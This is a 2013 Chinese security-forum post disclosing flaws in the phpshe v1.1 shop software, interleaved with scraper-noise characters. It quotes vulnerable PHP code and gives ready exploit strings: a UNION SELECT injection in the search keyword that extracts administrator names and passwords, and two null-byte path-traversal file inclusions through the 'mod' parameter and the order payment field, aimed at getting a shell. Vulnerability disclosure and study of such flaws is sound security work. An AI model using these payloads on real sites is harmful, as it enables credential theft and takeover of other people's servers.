找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2843|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************// x1 D+ i8 U- R$ P7 H- g5 l) ~2 f
/* Phpshe v1.1 Vulnerability
) _# s* B2 p' D& p4 B' w% F3 [/* ========================, o. E  z2 s8 h/ G2 v4 ]
/* By: : Kn1f3
' M% E- o  Y0 K4 b/* E-Mail : 681796@qq.com, e+ C' H+ [* E0 p* H$ i1 ?
/*******************************************************/$ |. t9 D- [$ \. f% R" n3 C/ f
0×00 整体大概参数传输
1 x' U9 X5 k1 N4 [) |
) i" B$ P( g1 D+ @1 K$ s3 y' R+ o6 _% z7 u6 ^0 M
% }5 T1 |. _$ q! J
//common.php, ?' B! c- \. ?1 v# N7 o9 i
if (get_magic_quotes_gpc()) {  V" \# m3 K: f9 x- E. @
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
( z8 ?* D( a0 V0 s! v( }!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
6 E% |9 |* D4 M' \: a# R: m3 k}
* \4 i$ @) x8 u9 W3 W( ^/ oelse {3 Q8 [1 d- q0 j4 |! ]/ m
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');1 @" b" k& j+ K2 g6 i- T3 P
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
% j/ c* w1 K+ E- `% M}4 T* J- `0 d5 }3 M" \
session_start();
3 S6 d- w' M5 _' Z6 B$ _& g' O!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');; J; O' V( {. V7 j$ Z
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');; j1 M+ K: N* p  Y' b- X  k

7 N) M. H8 G$ }# v& U4 f' A0×01 包含漏洞. @' {. R  Z8 u2 L: X( Z% |: [

: K! _+ P1 w( l6 N" V

& {! v- k& X. c8 M8 V//首页文件
: T; d& d7 v5 l1 i" o<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
  O) T- A0 |" I1 U! r' g$ W, vinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞, s1 c. W: O# x5 j* E
pe_result();
  m9 i# X  ?6 z' U" v) E, C4 k2 g?>
# {# ?6 @7 V. ?; \- p% O9 z//common 文件 第15行开始
: c. f" M$ }! e" m, p- xurl路由配置
) D& w" t* F$ }$module = $mod = $act = 'index';
9 S) h# G/ Q* T8 t9 k0 A9 x8 B3 U% n$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
4 V. s7 r- w. X0 m/ I$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
& `* W7 e. |  g: H' m0 l4 k" x$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
, I# e- {) @3 W) n//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%002 p' M2 ]% b! G

+ K4 g4 Z  Z: I1 a3 u2 G

! M3 n8 G0 g( w: _ 0×02 搜索注入' D% D- V- ^1 D8 `3 W

6 v) {  |: r. ?' ?<code id="code2">

//product.php文件* S$ t9 z5 V0 x! J" d  m  T5 d
case 'list':
9 K7 N! K9 W7 x3 z9 E. V$category_id = intval($id);' V8 v9 v: ]' r6 ~% x
$info = $db->pe_select('category', array('category_id'=>$category_id));2 @1 @  M" H2 X$ t8 y2 c
//搜索
: F! o4 K0 b. K$sqlwhere = " and `product_state` = 1";
! d+ f, [- h5 h5 Y' v- D$ ^5 ]8 `pe_lead('hook/category.hook.php');
  w) i$ v. i, `( N7 aif ($category_id) {0 Q/ f7 I0 a* A
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
+ `1 O9 m$ X9 p- l+ P}
9 r* j: b2 g; }5 s, w1 }# [$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤5 w' A& p1 a; O, H3 F6 ^' D  \
if ($_g_orderby) {
+ M. x+ x. X- {! h$orderby = explode('_', $_g_orderby);
" _1 C1 d( \# _7 t' l: X$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";3 R; i, c& V+ O0 y! f1 ^4 w  b; {
}
8 P/ }- n0 ?: delse {
6 Q5 F, d0 `  h- _, d( H% O8 t$sqlwhere .= " order by `product_id` desc";
, p: _& X0 [, v6 C2 X}
2 {4 J$ {- v* a) R$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));6 h! d" V( I2 ?4 K% W
//热卖排行* o  B6 T! [+ G" w3 C2 x, @9 ]
$product_hotlist = product_hotlist();4 R& U# o( Y( f/ W1 S
//当前路径
2 }. P  ^0 o9 ~$ y1 g$nowpath = category_path($category_id);# E5 }3 O" @. P# f! o$ x
$seo = pe_seo($info['category_name']);2 `, Y0 @( d, x" }
include(pe_tpl('product_list.html'));
. [2 u3 ], W0 A0 v- |% {//跟进selectall函数库
& a# E# Z) z! X7 g" a1 [( ypublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
) Y3 p. N# o9 z5 ?! B( W! ?{
: f) B3 E, Y8 W. G$ g2 o* f* Y//处理条件语句
  |8 C* o+ x0 x, W) q$sqlwhere = $this->_dowhere($where);# R# r) G1 y  x. f% P  L! o4 K
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);  m% a* x) L. G0 s  Q, ?0 u& m
}6 Z' y$ I7 V8 I0 i& U
//exp3 a9 V. g, c2 O/ `: p
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='18 J, f8 E, ]" ]- x$ W

</code>
/ O' V2 {' A: R % h7 j: Z, }0 w! Z6 }) T& ~6 j! V
0×03 包含漏洞22 r- Z1 l0 x5 X2 q% k9 R
4 `/ ~9 p1 C3 L1 u7 g
<code id="code3">

//order.php

case 'pay':


* Z6 _3 d2 i1 k) a$order_id = pe_dbhold($_g_id);

$ O# l" [2 @/ x1 p, i9 Y
$cache_payway = cache::get('payway');

0 O( Z% _' B) x' ~' p3 n$ e# \" K
foreach($cache_payway as $k => $v) {

* O) C' @0 H0 k' A* n
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

2 g/ @! Z- F1 x$ ]9 O) F7 H
if ($k == 'bank') {

; b. o+ T8 {- X3 S& f7 H3 k
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


$ H# l$ k( I9 T5 n& l+ _7 G/ M}

8 t0 C6 I+ @- s  O9 H. W% ?
}


9 g: H/ m! t3 V( L/ E9 z1 A$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


1 t8 E& J; t  Z3 N/ d!$order['order_id'] && pe_error('订单号错误...');

: m7 h2 e" ~+ Q( w  n9 l
if (isset($_p_pesubmit)) {

% H+ w# h& b2 m: h/ s# a  k+ f3 k0 E
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

4 [+ Q: e0 f9 j. B6 D+ p) Y
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


# C. d% }5 I+ W2 ]foreach ($info_list as $v) {


: P' u9 j. c; V3 p$order['order_name'] .= "{$v['product_name']};";
# l, D5 O; \3 e2 `) i! T' h2 N: F


$ F6 ?9 I! h0 o$ f6 B9 v}

) a4 E4 t" s5 b( N& h& ^
echo '正在为您连接支付网站,请稍后...';

- o9 }: `9 x/ o6 Q
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


7 d5 H( S) f4 \( B  Z4 l}//当一切准备好的时候就可以进行"鸡肋包含了"

# D2 m- ^7 R9 F, Q4 J. T6 |7 r3 N
else {


9 |6 C% |9 M9 N6 t1 R% ~# f9 Xpe_error('支付错误...');

& K& i5 l1 {" q" @9 [- E
}


5 W8 r$ L( t* I0 c! d- S3 S}


" H* K; _' x& z5 A: j" L0 a3 L% }2 x$seo = pe_seo('选择支付方式');


0 Y0 O+ i( K, r( X  Q# J5 o2 ^include(pe_tpl('order_pay.html'));


! p. C( L8 @9 m5 o6 C6 Lbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
! m# s4 ]! t. q9 p0 h9 v

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表